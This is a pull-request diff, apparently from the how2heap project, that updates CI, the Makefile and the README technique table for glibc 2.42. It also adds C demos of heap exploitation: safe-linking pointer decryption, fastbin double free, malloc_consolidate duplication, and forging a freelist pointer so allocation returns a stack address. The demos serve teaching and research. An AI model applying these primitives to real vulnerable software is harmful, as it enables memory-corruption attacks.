Skip to content
Merged

2.42 #229

Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
13 changes: 13 additions & 0 deletions .github/workflows/ci.yml
Original file line number Diff line number Diff line change
Expand Up @@ -191,3 +191,16 @@ jobs:
with:
ubuntu: '25.04'
glibc: '2.41'
v2_42:
runs-on: ubuntu-22.04
name: glibc-v2.42
steps:
- name: build how2heap
uses: shellphish/how2heap/ci/build@master
with:
ubuntu: '24.04'
- name: test how2heap
uses: shellphish/how2heap/ci/test@master
with:
ubuntu: '25.10'
glibc: '2.42'
2 changes: 1 addition & 1 deletion Makefile
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
.PHONY: help clean distclean all test

VERSIONS := 2.23 2.24 2.27 2.31 2.32 2.33 2.34 2.35 2.36 2.37 2.38 2.39 2.40 2.41
VERSIONS := 2.23 2.24 2.27 2.31 2.32 2.33 2.34 2.35 2.36 2.37 2.38 2.39 2.40 2.41 2.42
TECH_BINS := $(patsubst %.c,%,$(wildcard glibc_*/*.c))
BASE_BINS := $(patsubst %.c,%,$(wildcard *.c))
DOWNLOADED := glibc-all-in-one/libs glibc-all-in-one/debs
Expand Down
5 changes: 3 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -23,7 +23,7 @@ We came up with the idea during a hack meeting, and have implemented the followi
| [house_of_force.c](glibc_2.27/house_of_force.c) | <a href="https://wargames.ret2.systems/level/how2heap_house_of_force_2.27" title="Debug Technique In Browser">:arrow_forward:</a> | Exploiting the Top Chunk (Wilderness) header in order to get malloc to return a nearly-arbitrary pointer | < 2.29 | [patch](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c) | [Boston Key Party 2016-cookbook](https://github.com/ctfs/write-ups-2016/tree/master/boston-key-party-2016/pwn/cookbook-6), [BCTF 2016-bcloud](https://github.com/ctfs/write-ups-2016/tree/master/bctf-2016/exploit/bcloud-200) |
| [unsorted_bin_into_stack.c](glibc_2.27/unsorted_bin_into_stack.c) | <a href="https://wargames.ret2.systems/level/how2heap_unsorted_bin_into_stack_2.23" title="Debug Technique In Browser">:arrow_forward:</a> | Exploiting the overwrite of a freed chunk on unsorted bin freelist to return a nearly-arbitrary pointer. | < 2.29 | [patch](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c)| |
| [unsorted_bin_attack.c](glibc_2.27/unsorted_bin_attack.c) | <a href="https://wargames.ret2.systems/level/how2heap_unsorted_bin_attack_2.27" title="Debug Technique In Browser">:arrow_forward:</a> | Exploiting the overwrite of a freed chunk on unsorted bin freelist to write a large value into arbitrary address | < 2.29 | [patch](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c) | [0ctf 2016-zerostorage](https://github.com/ctfs/write-ups-2016/tree/master/0ctf-2016/exploit/zerostorage-6) |
| [large_bin_attack.c](glibc_2.35/large_bin_attack.c) | <a href="https://wargames.ret2.systems/level/how2heap_large_bin_attack_2.34" title="Debug Technique In Browser">:arrow_forward:</a> | Exploiting the overwrite of a freed chunk on large bin freelist to write a large value into arbitrary address | latest | | [0ctf 2018-heapstorm2](https://dangokyo.me/2018/04/07/0ctf-2018-pwn-heapstorm2-write-up/) |
| [large_bin_attack.c](glibc_2.35/large_bin_attack.c) | <a href="https://wargames.ret2.systems/level/how2heap_large_bin_attack_2.34" title="Debug Technique In Browser">:arrow_forward:</a> | Exploiting the overwrite of a freed chunk on large bin freelist to write a large value into arbitrary address | < 2.42 | [patch](https://patchwork.sourceware.org/project/glibc/patch/20250214053454.2346370-1-benjamin.p.kallus.gr@dartmouth.edu/) | [0ctf 2018-heapstorm2](https://dangokyo.me/2018/04/07/0ctf-2018-pwn-heapstorm2-write-up/) |
| [house_of_einherjar.c](glibc_2.35/house_of_einherjar.c) | <a href="https://wargames.ret2.systems/level/how2heap_house_of_einherjar_2.34" title="Debug Technique In Browser">:arrow_forward:</a> | Exploiting a single null byte overflow to trick malloc into returning a controlled pointer | latest | | [Seccon 2016-tinypad](https://gist.github.com/hhc0null/4424a2a19a60c7f44e543e32190aaabf) |
| [house_of_water.c](glibc_2.36/house_of_water.c) | | Exploit a UAF or double free to gain leakless control of the t-cache metadata and a leakless way to link libc in t-cache | latest | | [37c3 Potluck - Tamagoyaki](https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki)|
| [sysmalloc_int_free.c](glibc_2.39/sysmalloc_int_free.c) | | Demonstrating freeing the nearly arbitrary sized Top Chunk (Wilderness) using malloc (sysmalloc `_int_free()` ) | latest | | |
Expand All @@ -43,7 +43,8 @@ We came up with the idea during a hack meeting, and have implemented the followi
| [tcache_dup.c](obsolete/glibc_2.27/tcache_dup.c)(obsolete) | | Tricking malloc into returning an already-allocated heap pointer by abusing the tcache freelist. | 2.26 - 2.28 | [patch](https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d) | |
| [tcache_metadata_poisoning.c](glibc_2.27/tcache_metadata_poisoning.c) | | Trick the tcache into providing arbitrary pointers by manipulating the tcache metadata struct | >= 2.26 | | |
| [house_of_io.c](glibc_2.31/house_of_io.c) | | Tricking malloc into return a pointer to arbitrary memory by manipulating the tcache management struct by UAF in a free'd tcache chunk. | 2.31 - 2.33 | | |
| [tcache_relative_write.c](glibc_2.41/tcache_relative_write.c) | | Arbitrary decimal value and chunk pointer writing in heap by out-of-bounds tcache metadata writing | >= 2.30 | | |
| [tcache_relative_write.c](glibc_2.41/tcache_relative_write.c) | | Arbitrary decimal value and chunk pointer writing in heap by out-of-bounds tcache metadata writing | 2.30-2.41 | [patch](https://sourceware.org/git/?p=glibc.git;a=commit;h=cbfd7988107b27b9ff1d0b57fa2c8f13a932e508) | |
| [tcache_metadata_hijacking](glibc_2.42/tcache_metadata_hijacking.c) | | Arbitrary allocation by overflow into tcache metadata | >= 2.42 | | |

The GnuLibc is under constant development and several of the techniques above have let to consistency checks introduced in the malloc/free logic.
Consequently, these checks regularly break some of the techniques and require adjustments to bypass them (if possible).
Expand Down
66 changes: 66 additions & 0 deletions glibc_2.42/decrypt_safe_linking.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,66 @@
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

long decrypt(long cipher)
{
puts("The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,");
puts("because of the 12bit sliding.");
puts("And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)");
long key = 0;
long plain;

for(int i=1; i<6; i++) {
int bits = 64-12*i;
if(bits < 0) bits = 0;
plain = ((cipher ^ key) >> bits) << bits;
key = plain >> 12;
printf("round %d:\n", i);
printf("key: %#016lx\n", key);
printf("plain: %#016lx\n", plain);
printf("cipher: %#016lx\n\n", cipher);
}
return plain;
}

int main()
{
/*
* This technique demonstrates how to recover the original content from a poisoned
* value because of the safe-linking mechanism.
* The attack uses the fact that the first 12 bit of the plaintext (pointer) is known
* and the key (ASLR slide) is the same to the pointer's leading bits.
* As a result, as long as the chunk where the pointer is stored is at the same page
* of the pointer itself, the value of the pointer can be fully recovered.
* Otherwise, we can also recover the pointer with the page-offset between the storer
* and the pointer. What we demonstrate here is a special case whose page-offset is 0.
* For demonstrations of other more general cases, plz refer to
* https://github.com/n132/Dec-Safe-Linking
*/

setbuf(stdin, NULL);
setbuf(stdout, NULL);

// step 1: allocate chunks
long *a = malloc(0x20);
long *b = malloc(0x20);
printf("First, we create chunk a @ %p and chunk b @ %p\n", a, b);
malloc(0x10);
puts("And then create a padding chunk to prevent consolidation.");


// step 2: free chunks
puts("Now free chunk a and then free chunk b.");
free(a);
free(b);
printf("Now the freelist is: [%p -> %p]\n", b, a);
printf("Due to safe-linking, the value actually stored at b[0] is: %#lx\n", b[0]);

// step 3: recover the values
puts("Now decrypt the poisoned value");
long plaintext = decrypt(b[0]);

printf("value: %p\n", a);
printf("recovered value: %#lx\n", plaintext);
assert(plaintext == (long)a);
}
62 changes: 62 additions & 0 deletions glibc_2.42/fastbin_dup.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,62 @@
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
setbuf(stdout, NULL);

printf("This file demonstrates a simple double-free attack with fastbins.\n");

printf("Allocate buffers to fill up tcache and prep fastbin.\n");
void *ptrs[7];

for (int i=0; i<7; i++) {
ptrs[i] = malloc(8);
}

printf("Allocating 3 buffers.\n");
int *a = calloc(1, 8);
int *b = calloc(1, 8);
int *c = calloc(1, 8);
printf("1st malloc(8): %p\n", a);
printf("2nd malloc(8): %p\n", b);
printf("3rd malloc(8): %p\n", c);

printf("Fill up tcache.\n");
for (int i=0; i<7; i++) {
free(ptrs[i]);
}

printf("Freeing the first chunk %p...\n", a);
free(a);

printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

printf("So, instead, we'll free %p.\n", b);
free(b);

printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
/* VULNERABILITY */
free(a);
/* VULNERABILITY */

printf("In order to use the free list for allocation, we'll need to empty the tcache.\n");
printf("This is because since glibc-2.41, we can only reach fastbin by exhausting tcache first.");
printf("Because of this patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=226e3b0a413673c0d6691a0ae6dd001fe05d21cd");
for (int i = 0; i < 7; i++) {
ptrs[i] = malloc(8);
}

printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
puts("Note that since glibc 2.41, malloc and calloc behave the same in terms of the usage of tcache and fastbin, so it doesn't matter whether we use malloc or calloc here.");
a = malloc(8);
b = calloc(1, 8);
c = calloc(1, 8);
printf("1st malloc(8): %p\n", a);
printf("2nd calloc(1, 8): %p\n", b);
printf("3rd calloc(1, 8): %p\n", c);

assert(a == c);
}
85 changes: 85 additions & 0 deletions glibc_2.42/fastbin_dup_consolidate.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,85 @@
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

/*
Original reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8

This document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a
double free to gain two pointers to the same large-sized chunk, which is usually difficult to do
directly due to the previnuse check. Interestingly this also includes tcache-sized chunks of certain sizes.

malloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially
merges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top
if possible.

As of glibc version 2.35 it is called only in the following five places:
1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)
2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)
3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)
4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)
5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)

We will be targeting the first place, so we will need to allocate a chunk that does not belong in the
small bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901).
This means our chunk will need to be of size >= 0x400 (it is thus large-sized). Notably, the
biggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize
a double free to gain control of a tcache sized chunk.
*/

#define CHUNK_SIZE 0x400

int main() {
printf("This technique will make use of malloc_consolidate and a double free to gain a duplication in the tcache.\n");
printf("Lets prepare to fill up the tcache in order to force fastbin usage...\n\n");

void *ptr[7];

for(int i = 0; i < 7; i++)
ptr[i] = malloc(0x40);

void* p1 = malloc(0x40);
printf("Allocate another chunk of the same size p1=%p \n", p1);

printf("Fill up the tcache...\n");
for(int i = 0; i < 7; i++)
free(ptr[i]);

printf("Now freeing p1 will add it to the fastbin.\n\n");
free(p1);

printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n");
printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n");
printf("a tcache-sized chunk with chunk size 0x410 ");
void* p2 = malloc(CHUNK_SIZE);

printf("p2=%p.\n", p2);

printf("\nFirst, malloc_consolidate will merge the fast chunk p1 with top.\n");
printf("Then, p2 is allocated from top since there is no free chunk bigger (or equal) than it. Thus, p1 = p2.\n");

assert(p1 == p2);

printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p2).\n\n");
free(p1); // vulnerability (double free)
printf("It is now in the tcache (or merged with top if we had initially chosen a chunk size > 0x410).\n");

printf("So p1 is double freed, and p2 hasn't been freed although it now points to a free chunk.\n");

printf("We will request 0x400 bytes. This will give us the 0x410 chunk that's currently in\n");
printf("the tcache bin. p2 and p1 will still be pointing to it.\n");
void *p3 = malloc(CHUNK_SIZE);

assert(p3 == p2);

printf("We now have two pointers (p2 and p3) that haven't been directly freed\n");
printf("and both point to the same tcache sized chunk. p2=%p p3=%p\n", p2, p3);
printf("We have achieved duplication!\n\n");

printf("Note: This duplication would have also worked with a larger chunk size, the chunks would\n");
printf("have behaved the same, just being taken from the top instead of from the tcache bin.\n");
printf("This is pretty cool because it is usually difficult to duplicate large sized chunks\n");
printf("because they are resistant to direct double free's due to their PREV_INUSE check.\n");

return 0;
}
85 changes: 85 additions & 0 deletions glibc_2.42/fastbin_dup_into_stack.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,85 @@
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <unistd.h>

int main()
{
setbuf(stdout, NULL);

printf("This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");

unsigned long stack_var[4] __attribute__ ((aligned (0x10)));
printf("The address we want calloc() to return is %p.\n", stack_var + 2);

printf("Allocate buffers to fill up tcache and prep fastbin.\n");
void *ptrs[7];

for (int i=0; i<7; i++) {
ptrs[i] = malloc(8);
}

printf("Allocating 3 buffers.\n");
int *a = calloc(1,8);
int *b = calloc(1,8);
int *c = calloc(1,8);
printf("1st calloc(1,8): %p\n", a);
printf("2nd calloc(1,8): %p\n", b);
printf("3rd calloc(1,8): %p\n", c);

printf("Fill up tcache.\n");
for (int i=0; i<7; i++) {
free(ptrs[i]);
}

printf("Freeing the first chunk %p...\n", a);
free(a);

printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);

printf("So, instead, we'll free %p.\n", b);
free(b);

printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
/* VULNERABILITY */
free(a);
/* VULNERABILITY */

printf("In order to use the free list for allocation, we'll need to empty the tcache.\n");
printf("This is because since glibc-2.41, we can only reach fastbin by exhausting tcache first.");
printf("Because of this patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=226e3b0a413673c0d6691a0ae6dd001fe05d21cd");
for (int i = 0; i < 7; i++) {
ptrs[i] = malloc(8);
}

printf("Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long *d = calloc(1,8);

printf("1st calloc(1,8): %p\n", d);
printf("2nd calloc(1,8): %p\n", calloc(1,8));
printf("Now the free list has [ %p ].\n", a);
printf("Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that calloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
puts("Note that this is only needed for calloc. It is not needed for malloc.");
stack_var[1] = 0x20;

printf("Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
printf("Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n");
printf("^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n");
unsigned long ptr = (unsigned long)stack_var+0x10;
unsigned long addr = (unsigned long) d;
/*VULNERABILITY*/
*d = (addr >> 12) ^ ptr;
/*VULNERABILITY*/

printf("3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8));

void *p = calloc(1, 8);

printf("4th calloc(1,8): %p\n", p);
assert((unsigned long)p == (unsigned long)stack_var+0x10);
}
Loading